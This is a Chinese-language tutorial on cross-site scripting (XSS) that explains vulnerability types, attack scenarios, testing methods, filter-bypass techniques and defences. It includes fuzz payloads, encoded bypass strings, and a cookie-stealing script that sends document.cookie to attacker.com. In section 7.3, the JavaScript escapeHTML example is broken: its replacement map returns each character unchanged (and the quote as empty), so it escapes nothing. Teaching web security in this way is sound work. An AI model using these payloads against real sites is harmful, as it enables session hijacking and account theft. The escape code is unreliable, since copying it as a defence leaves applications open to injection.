XSS由浅入深
字数 2129 2025-08-29 22:41:10
XSS漏洞深入解析与防御指南
1. XSS漏洞概述
跨站脚本攻击(Cross Site Scripting,简称XSS)是指当应用程序将用户提交的数据发送到浏览器的页面中,但未经过适当的验证或转义时,就会引发的安全漏洞。XSS利用了浏览器的特性而非缺陷。
1.1 漏洞原理
- 浏览器同源策略被突破:攻击者通过注入恶意脚本窃取用户Cookie
- 可劫持用户Web行为
- 可结合CSRF进行针对性攻击
- 导致用户信息泄露或账户劫持等严重安全问题
2. XSS漏洞类型
2.1 反射型XSS(Reflected XSS)
特点:
- 多出现在搜索框、登录页面等用户输入内容会被立即回显的位置
- 脚本不会被存储在服务器上,仅在一次请求-响应周期中生效
- 需要用户主动点击攻击者构造的恶意链接
- 常用于窃取Cookie或进行钓鱼欺骗
利用条件:
- 用户点击了攻击者精心构造的URL
- 目标网站存在反射型XSS漏洞,并在页面中回显了未转义的用户输入
2.2 存储型XSS(Stored XSS)
特点:
- 最危险的一类XSS
- 恶意脚本被提交到服务器端并存储在数据库、日志等持久化介质中
- 其他用户访问相关内容时被加载和执行
常见触发场景:
- 留言板、评论系统、论坛帖子、用户签名等交互区域
- 管理员后台浏览用户内容时自动触发
危害:
- 可批量影响所有访问该页面的用户
- 可造成蠕虫式传播、管理员权限劫持等严重后果
- 攻击持续时间长,难以察觉
2.3 DOM型XSS(DOM-based XSS)
特点:
- 基于浏览器中的文档对象模型(DOM)进行攻击
- 脚本注入和执行完全发生在客户端,服务端不直接参与
- 攻击入口通过URL参数传递
- 恶意代码不出现在HTML源码中,而是在浏览器解析DOM时动态执行
- 主要依赖客户端JavaScript中的不安全操作(document.write()、innerHTML、eval()等)
3. XSS攻击面分析
3.1 典型攻击场景
示例1:搜索框注入
<script>alert(1)</script>
示例2:表单输入字段
"><script>alert('XSS')</script>
示例3:URL参数注入
https://example.com?name=<script>alert('XSS')</script>
示例4:HTTP请求头注入
Referer: "type="test" onclick="alert('test')
示例5:错误信息中回显用户输入
- 攻击者输入恶意脚本
- 错误页直接触发脚本执行
3.2 Cookie窃取示例
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
4. XSS漏洞危害
4.1 窃取用户Cookie
- 搜索框、评论区等功能将用户输入回显到页面上
- 未进行HTML转义处理时,攻击者可注入恶意脚本
- 用户访问恶意页面后,其Cookie信息将被发送给攻击者
- 导致session劫持、账号被盗
4.2 钓鱼欺骗
- 用户昵称、签名、自我介绍等内容直接输出
- 攻击者可伪造任意界面或按钮
- 用户误以为是系统提示,主动提交账号密码等信息
4.3 后台攻击
- 存储型XSS场景中,发布含有恶意脚本的评论内容
- 管理员在后台浏览时,脚本在高权限上下文执行
- 攻击者借助管理员权限操作系统数据
- 可注入更多脚本实现蠕虫式传播
4.4 页面劫持
- 网站从URL中读取参数动态生成页面内容
- 未正确处理时可能被注入脚本
- 实现页面跳转、加载恶意代码、强制浏览挖矿脚本等
4.5 高交互性诱导操作
- 现代前端框架使用服务端渲染时,模板中包含未清洗的变量
- 结合CSRF,可自动完成资金转移、信息更改等敏感操作
5. XSS漏洞查找方法
5.1 基本验证
使用以下代码作为Fuzz测试样本:
<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
5.2 反射型XSS查找
基本测试:
<script>alert(1)</script>
常见注入位置与方法:
- 标签属性值注入:
<input type="text" value="USER_INPUT">
注入方式:
" onmouseover="alert(1)
- JavaScript字符串上下文:
var data = "USER_INPUT";
注入方式:
";alert(1);//
- URL属性:
<a href="USER_INPUT">click</a>
注入方式:
javascript:alert(1)
5.3 存储型XSS查找
- 提交特殊字符串后进行反复检查
- 特别检查管理员区域
- 检查带外通道(如HTTP消息头等)
5.4 DOM型XSS查找
危险DOM API:
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
危险JavaScript操作:
document.write()
document.writeln()
document.body.innerHTML
eval()
window.execScript()
window.setInterval()
window.setTimeout()
6. XSS绕过技巧
6.1 HTML绕过技巧
标签名绕过:
- 大小写混淆:
<iMg onerror=alert(1) src=a> - 插入NULL字节:
<%00img onerror=alert(1) src=a> - 空格替代字符:``
属性名绕过:
<iframe srcdoc="<svg/onload=alert(1)>">
属性分隔绕过:
<input value="" onclick=alert(1) x="
属性值编码绕过:
<a href="javascript:%61%6c%65%72%74%28%31%29">click</a>
6.2 绕过字符集与长度限制
使用非标准编码:
- UTF-7
- US-ASCII
- UTF-16
拆分跨站脚本(绕过长度限制):
<script>z='alert(1)'</script>
<script>eval(z)</script>
6.3 JavaScript层面的绕过
Unicode编码关键字:
\u0061\u006c\u0065\u0072\u0074(1)
替代点操作符:
window['alert'](1)
7. XSS漏洞防御
7.1 反射型与存储型XSS防御
确认输入:
- 数据长度控制
- 合法字符限制
- 正则表达式匹配
确认输出:
- HTML编码
- 消除危险插入点
允许有限的HTML:
- 使用专门框架(如OWASP AntiSamy项目)确认用户提交的HTML标记
7.2 DOM型XSS防御
确认输入:
- 客户端验证:确保插入到文档中的数据仅包含字母、数字与空白符
- 服务端验证:对URL数据进行严格确认
确认输出:
- HTML编码:在将用户可控的DOM数据插入到文档前进行编码
7.3 具体防御措施
PHP示例:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
JavaScript示例:
function escapeHTML(str) {
return str.replace(/[&<>'"]/g,
tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
}[tag]));
}
HTTP头防御:
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff